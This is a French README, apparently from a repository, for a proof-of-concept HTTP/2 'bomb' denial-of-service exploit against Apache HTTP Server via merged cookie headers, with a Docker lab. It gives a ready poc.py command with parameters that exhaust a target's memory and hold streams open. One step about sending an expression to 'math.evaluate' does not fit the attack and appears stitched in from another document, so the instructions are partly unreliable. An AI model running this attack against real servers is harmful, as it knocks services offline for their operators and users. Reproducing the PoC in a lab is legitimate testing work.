
Proof-of-concept d'exploit HTTP/2 Bomb pour CVE-2026-49975, un déni de service par épuisement de mémoire via l'en-tête cookie dans Apache HTTP Server 2.4.17-2.4.67, avec un laboratoire Docker et un script PoC.
★ CVE-2026-49975 HTTP/2 Bomb PoC ★
https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74
CVE-2026-49975 est une vulnérabilité de déni de service (DoS) dans Apache HTTP Server. La vulnérabilité se situe dans le chemin de traitement des requêtes HTTP/2, où plusieurs champs d'en-tête
cookiepeuvent être fusionnés sans être correctement comptabilisés par rapport àLimitRequestFields. En envoyant une petite requête HTTP/2 encodée en HPACK qui se développe en de nombreux champs d'en-têtecookie, un attaquant peut forcer le serveur à allouer de la mémoire de manière répétée lors de la fusion des en-têtes Cookie. L'attaquant peut ensuite utiliser le contrôle de flux HTTP/2 pour retarder la transmission de la réponse, en maintenant les flux affectés ouverts et en empêchant la libération de la mémoire allouée.
| Catégorie | Version |
|---|
| Vulnérable | Apache HTTP Server 2.4.17 ≤ version ≤ 2.4.67 |
| Corrigée | Apache HTTP Server 2.4.68 ou ultérieure |
Construisez et exécutez l'environnement Apache HTTP Server vulnérable.
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.
docker stats cve-2026-49975
Exemple de sortie :
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM %
xxxxxxxxxxxx cve-2026-49975 0.5% 35.2MiB / 8.0GiB 1.7%
Envoyez l'expression suivante à math.evaluate (par exemple, via l'entrée de calcul de l'application).
python3 poc.py \
--host TARGET_IP \
--port 10081 \
--connections 10 \
--streams 100 \
--refs 4091 \
--initial-window 0 \
--hold 300 \
--drip-interval 2 \
--drip-bytes 1
Vérifiez que l'utilisation mémoire du conteneur Apache augmente et reste élevée tant que les flux de l'attaque sont maintenus ouverts.